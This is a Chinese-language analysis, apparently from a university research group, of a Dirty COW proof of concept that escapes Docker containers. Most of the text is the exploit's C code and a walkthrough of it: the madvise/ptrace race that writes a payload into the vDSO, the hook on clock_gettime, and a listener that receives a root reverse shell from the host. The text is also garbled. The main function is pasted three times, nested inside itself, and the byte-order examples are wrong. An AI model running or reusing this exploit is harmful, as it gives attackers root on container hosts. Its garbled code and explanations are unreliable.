脏牛漏洞Docker逃逸POC分析

📅 2016-11-29 📂 资源中心

武汉大学Docker安全研究小组(王鹃 何能斌  樊成阳 )

 、逃逸原理

VDSO

vDSO随内核发行,在程序启动时, 内核将其映射到某个地址空间,被所有程序所共享(这段内存是只读的).漏洞利用可以任意地址写任意数据的特性,payload写到vDSO的内存页,并对clock_gettime()这个函数进行Inline Hook.因为这个地址的函数是被所有程序共享的,所以当宿主机有程序调用clock_gettime()函数时就会执行一遍payload,payload会对调用进程的UID进行检查,如果是0(root进程)就会对docker虚拟机进行连接,发送反弹shell,所以在docker虚拟机会得到宿主机的root权限的shell,然后断开监听,并将vDSO内存原数据还原。

 . 代码运行流程

Main函数                

int main(int argc, char *argv[])                

{                

    struct prologue *prologue;                

    struct mem_arg arg;                

    uint16_t int main(int argc, char *argv[])                

{                

    struct prologue *prologue;                

    struct mem_arg arg;                

    uint16_t port;                

    uint32_t ip;                

    int s;                

                 

    ip = htonl(PAYLOAD_IP);                

    port = htons(PAYLOAD_PORT);                

                 

    if (argc > 1) { int main(int argc, char *argv[])                

{                

    struct prologue *prologue;                

    struct mem_arg arg;                

    uint16_t port;                

    uint32_t ip;                

    int s;                

                 

    ip = htonl(PAYLOAD_IP);                

    port = htons(PAYLOAD_PORT);                

                 

    if (argc > 1) {                

        if (parse_ip_port(argv[1], &ip, &port) != 0)                

            return EXIT_FAILURE;                

    }                

                 

    fprintf(stderr, "[*] payload target: %s:%d\n",                

        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));                

                 

    arg.vdso_addr = get_vdso_addr();                

    if (arg.vdso_addr == NULL)                

        return EXIT_FAILURE;                

                 

    prologue = fingerprint_prologue(arg.vdso_addr);                

    if (prologue == NULL) {                

        fprintf(stderr, "[-] this vDSO version isn't supported\n");                

        fprintf(stderr, "    add first entry point instructions to prologues\n");                

        return EXIT_FAILURE;                

    }                

                 

    if (patch_payload(prologue, ip, port) == -1)                

        return EXIT_FAILURE;                

                 

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)                

        return EXIT_FAILURE;                

                 

    s = create_socket(port);                

    if (s == -1)                

        return EXIT_FAILURE;                

                 

    if (exploit(&arg, true) == -1) {                

        fprintf(stderr, "exploit failed\n");                

        return EXIT_FAILURE;                

    }                

                 

    yeah(&arg, s);                

                 

    return EXIT_SUCCESS;                

}                

        if (parse_ip_port(argv[1], &ip, &port) != 0)                

            return EXIT_FAILURE;                

    }                

                 

    fprintf(stderr, "[*] payload target: %s:%d\n",                

        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));                

                 

    arg.vdso_addr = get_vdso_addr();                

    if (arg.vdso_addr == NULL)                

        return EXIT_FAILURE;                

                 

    prologue = fingerprint_prologue(arg.vdso_addr);                

    if (prologue == NULL) {                

        fprintf(stderr, "[-] this vDSO version isn't supported\n");                

        fprintf(stderr, "    add first entry point instructions to prologues\n");                

        return EXIT_FAILURE;                

    }                

                 

    if (patch_payload(prologue, ip, port) == -1)                

        return EXIT_FAILURE;                

                 

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)                

        return EXIT_FAILURE;                

                 

    s = create_socket(port);                

    if (s == -1)                

        return EXIT_FAILURE;                

                 

    if (exploit(&arg, true) == -1) {                

        fprintf(stderr, "exploit failed\n");                

        return EXIT_FAILURE;                

    }                

                 

    yeah(&arg, s);                

                 

    return EXIT_SUCCESS;                

}port;                

    uint32_t ip;                

    int s;                

                 

    ip = htonl(PAYLOAD_IP);                

    port = htons(PAYLOAD_PORT);                

                 

    if (argc > 1) {                

        if (parse_ip_port(argv[1], &ip, &port) != 0)                

            return EXIT_FAILURE;                

    }                

                 

    fprintf(stderr, "[*] payload target: %s:%d\n",                

        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));                

                 

    arg.vdso_addr = get_vdso_addr();                

    if (arg.vdso_addr == NULL)                

        return EXIT_FAILURE;                

                 

    prologue = fingerprint_prologue(arg.vdso_addr);                

    if (prologue == NULL) {                

        fprintf(stderr, "[-] this vDSO version isn't supported\n");                

        fprintf(stderr, "    add first entry point instructions to prologues\n");                

        return EXIT_FAILURE;                

    }                

                 

    if (patch_payload(prologue, ip, port) == -1)                

        return EXIT_FAILURE;                

                 

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)                

        return EXIT_FAILURE;                

                 

    s = create_socket(port);                

    if (s == -1)                

        return EXIT_FAILURE;                

                 

    if (exploit(&arg, true) == -1) {                

        fprintf(stderr, "exploit failed\n");                

        return EXIT_FAILURE;                

    }                

                 

    yeah(&arg, s);                

                 

    return EXIT_SUCCESS;                

}                

流程图如下所示:


 . 函数分析

1 . htonl/htons

htonl 传统内存数据存储方式 -> 网络字节存储 4字节

    eg : htonl(0x1234) -> 0x4321

htons 传统内存数据存储方式 -> 网络字节存储 2字节

    eg :  htons(0x12)   -> 0x21


2 . prase_ip_port

函数原型

static int 

    parse_ip_port(char *str, uint32_t *ip, uint16_t *port)

函数介绍

如果输入参数有:,则将:前的字符转化为IP,后面的字符转化为端口并赋值给port

使用示例

eg:prase_ip_port("127.0.0.1:1234", ip, port)

调用结果:

    IP = 127.0.0.1   PORT = 1234


3 . get_vdso_addr

函数原型

static void *get_vdso_addr(void)

{

    return (void *)getauxval(AT_SYSINFO_EHDR);

}

函数介绍 
      通过getauxval()函数获取vDSO的地址


4 . fingerprint_prologue

函数原型

static struct prologue *

    fingerprint_prologue(void *vdso_addr) 

函数介绍

通过vDSO的首地址,找到clock_gettime()函数的地址,然后对比clock_gettime函数前几个字符和prologue[]数 组的每一项,如果存在匹配项,则说明可以Inline Hook,返回匹配的prologue数组项

关键代码

for (i = 0; i < ARRAY_SIZE(prologues); i++) {                

        p = &prologues[i];                

        if (memcmp((void *)clock_gettime_addr, p->opcodes, p->size) == 0)                

            return p;                

    }                


5 . patch_payload

函数原型

static int 

    patch_payload(struct prologue *p, uint32_t ip, uint16_t port)

函数介绍

payload中的IP,PORT,prologue,分别替换成新的IP,PORT(通过参数修改),prologue(通过fingerprint_prologue()匹配得到)


6 . build_vdso_patch

函数原型

static int 

    build_vdso_patch(void *vdso_addr, struct prologue *prologue) 

函数介绍 

填充vdso_patch数组,如果要放置payload的内存地址数据不为0,则提示failed to find a place for the payload 

vdso_patch数组元素介绍

                 

vdso_patch[0]                

vdso_patch[1]                

patch                

payload                

buf = “e8 0xxxxx”                

copy                

保存原内存数据的内存地址                

保存clock_gettimeprologue->size字节数据的内存地址                

size                

payload_len                

prologue->size                

addr                

payload将要被复制到的内存地址                

clock_gettime的地址                

7 . create_socket

函数原型

static int create_socket(uint16_t port)

函数介绍 
      设置一个监听socket,等待payload被执行,向这个socket发起连接


8 . exploit

函数原型

static int exploit(struct mem_arg *arg, bool do_patch)

函数介绍,

通过漏洞,将数据写到指定内存地址 
       do_patch = true 
       => payload写进vDSO,修改clock_gettime前面几个字节为jmp payload 
       do_patch = false 
       => vDSO地址中原来的数据还原回去

主要代码

pid = fork();                

    if (pid == -1) {                

        warn("fork");                

        return -1;                

    } else if (pid == 0) {                

        check(arg);                

    }                

                 

    arg->stop = false;                

    pthread_create(&pth1, NULL, madviseThread, arg);                

    pthread_create(&pth2, NULL, ptrace_thread, arg);                

 

这里开启两个进程,子进程不停检查数据是否成功写入,成功则返回0,否则返回
主线程开启两个线程
ptrace_thread vDSO 
madvise_thread vDSO映射空间释放,ptrace线程造成干扰,从而触发漏洞,写入成功 

ptrace循环写

while (n >= sizeof(long)) {                

        memcpy(&value, s, sizeof(value));                

        if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {                

            warn("ptrace(PTRACE_POKETEXT)");                

            return -1;                

        }                

                 

        n -= sizeof(long);                

        d += sizeof(long);                

        s += sizeof(long);                

    }                

                 

 

madivise循环释放

while (!arg->stop) {                

        if (madvise(arg->vdso_addr, VDSO_SIZE, MADV_DONTNEED) == -1) {                

            warn("madvise");                

            break;                

        }                

    }                


9 . yeah

函数原型

static int yeah(struct mem_arg *arg, int s)

函数介绍 
      等待连接 
      还原原vDSO空间数据 
      处理连接后的数据发送与接收

关键代码 
     循环等待连接,有连接之后就关闭监听

    while (1) {                

        c = accept(s, (struct sockaddr *)&addr, &addr_len);                

        if (c == -1) {                

            if (errno == EINTR)                

                continue;                

            warn("accept");                

            return -1;                

        }                

        break;                

    }                

                 

    close(s);                

                 

 

连接成功后,vDSO还原

if (fork() == 0) {                

        if (exploit(arg, false) == -1)                

            fprintf(stderr, "[-] failed to restore vDSO\n");                

        exit(0);                

    }                

                 

 

绑定输入输出到socket,处理连接数据

fds[0].fd = STDIN_FILENO;                

    fds[0].events = POLLIN;                

                 

    fds[1].fd = c;                

    fds[1].events = POLLIN;                

                 

    nfds = 2;                

    while (nfds > 0) {                

        if (poll(fds, nfds, -1) == -1) {                

            if (errno == EINTR)                

                continue;                

            warn("poll");                

            break;                

        }                

                 

        if (fds[0].revents == POLLIN) {                

            n = read(STDIN_FILENO, buf, sizeof(buf));                

            if (n == -1) {                

                if (errno != EINTR) {                

                    warn("read(STDIN_FILENO)");                

                    break;                

                }                

            } else if (n == 0) {                

                break;                

            } else {                

                writeall(c, buf, n);                

            }                

        }                

                 

        if (fds[1].revents == POLLIN) {                

            n = read(c, buf, sizeof(buf));                

            if (n == -1) {                

                if (errno != EINTR) {                

                    warn("read(c)");                

                    break;                

                }                

            } else if (n == 0) {                

                break;                

            } else {                

                writeall(STDOUT_FILENO, buf, n);                

            }                

        }                

    }                


← 返回资源中心